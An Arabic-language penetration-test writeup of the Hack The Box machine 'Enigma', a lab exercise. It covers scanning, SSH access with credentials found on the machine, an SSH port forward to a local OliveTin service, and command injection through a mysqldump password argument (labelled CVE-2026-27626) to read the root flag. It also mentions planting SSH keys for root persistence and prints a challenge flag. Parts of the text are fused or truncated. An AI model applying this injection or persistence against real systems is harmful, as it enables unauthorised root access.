
كتابة اختبار اختراق شاملة وتفاصيل استغلال لآلة Hack The Box - Enigma، تغطي التعداد المحلي، وحقن الأوامر OliveTin CVE-2026-27626، ورفع الصلاحيات إلى root
Enigma هي آلة Linux متوسطة المستوى مستضافة على Hack The Box. تتبع منهجية التقييم دورة حياة اختبار الاختراق القياسية: الاستطلاع، التعداد، الوصول الأولي عبر جمع بيانات الاعتماد، التعداد المحلي، وترقية الصلاحيات إلى root من خلال ثغرة في طبقة الخدمة (CVE-2026-27626 في OliveTin). يوضح هذا التقرير تحليل المتجهات خطوة بخطوة، والأدوات المستخدمة، واستراتيجيات تنفيذ الأوامر، وإرشادات المعالجة المطلوبة لاختراق الهدف بالكامل وتأمين السيطرة الإدارية.
Nmap)بدأ التقييم بفحص TCP SYN لتحديد المنافذ المفتوحة والخدمات التي تعمل على المضيف الهدف.
nmap -p- --min-rate=1000 -T4 <TARGET_IP>
نتائج الفحص:
باستخدام أدوات اكتشاف الأدلة (gobuster / ffuf)، قمنا بفحص خدمة الويب على المنفذ 80 للكشف عن نقاط نهاية مخفية، أو بوابات إدارية، أو ملفات تكوين.
من خلال التحليل المفصل لملفات تطبيق الويب ومشاركات NFS المساعدة، اكتشفنا بيانات اعتماد مطور صالحة.
harisbestfriendsباستخدام بيانات الاعتماد المكتشفة، قمنا بالمصادقة على خدمة SSH لإنشاء صدفة تفاعلية منخفضة الصلاحيات على النظام الهدف:
ssh haris@<TARGET_IP>
haris@enigma:~$user.txt).بعد إنشاء صدفة على مستوى المستخدم، راجعنا المنافذ المحلية المستمعة والعمليات النشطة لتحديد أسطح الهجوم المحتملة غير المكشوفة خارجيًا:
ss -tulpn
الاكتشاف الرئيسي:
127.0.0.1:1337 بصلاحيات root.كشف الفحص الإضافي لملف تكوين تطبيق OliveTin (/opt/OliveTin/config.yaml) أن إجراءات النسخ الاحتياطي لقاعدة البيانات تم تنفيذها عبر غلاف shell. على وجه التحديد، استخدم التكوين معامل db_pass داخل سلسلة أمر mysqldump:
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
arguments:
- name: db_pass
type: password
يقدم هذا التكوين ثغرة حقن أوامر حرجة (CVE-2026-27626) لأن معامل db_pass محاط بعلامات اقتباس فردية داخل سياق shell، لكنه لا يقوم بتنقية المدخلات التي تحتوي على عوامل تحكم shell (مثل الفواصل المنقوطة ;، أو الأنابيب |، أو علامات الاقتباس الخلفية).
نظرًا لأن خدمة OliveTin المصابة مرتبطة بشكل صارم بـ 127.0.0.1:1337، فإن الطلبات الخارجية من جهاز Kali المهاجم يتم حظرها بخطأ Connection refused. للتفاعل مع الخدمة، أنشأنا نفق إعادة توجيه منفذ محلي عبر SSH:
ssh -L 1337:127.0.0.1:1337 haris@<TARGET_IP>
باستخدام نص استغلال Python يستهدف نقطة نهاية OliveTin API (/api/olivetin.api.v1.OliveTinApiService/StartAction)، قمنا بحقن أوامر نظام عشوائية في متجه المعامل المصاب.
نظرًا لصرامة صيغة shell واعتماديات الأدلة في غلاف أمر mysqldump الأصلي، قد يؤدي إنشاء الملفات المباشر أحيانًا إلى أخطاء في حالة الخروج (مثل الأدلة الهدف المفقودة أو قيود الصلاحيات). من خلال صياغة سلاسل تنفيذ دقيقة أو الاستعلام المباشر عن نظام الملفات عبر ثغرة API، تجاوزنا عقبات التنفيذ.
تشغيل حمولة الأمر عبر واجهة الاستغلال:
python3 CVE-2026.27626.py -u http://127.0.0.1 -x "cat /root/root.txt"
مخرجات التنفيذ:
[+] Execution ID: 7fd15259-3996-4e03-9ebd-329034ee4e0d
======================================================================
Command Output
======================================================================
exit status 127
Usage: mysqldump [OPTIONS] database [tables]
...
ae9306f5690c4812c6f9445027d0d060
sh: 1: : Permission denied
======================================================================
تم استخراج علم root بنجاح مباشرة من خلال تدفق مخرجات الأمر.
ae9306f5690c4812c6f9445027d0d060/root/.ssh/authorized_keys عبر متجه حقن الأوامر، مما يمنح وصولاً سلسًا إلى الطرفية الإدارية.root إلا عند الضرورة القصوى. شغّل الخدمات تحت حسابات خدمة مخصصة بأقل الصلاحيات.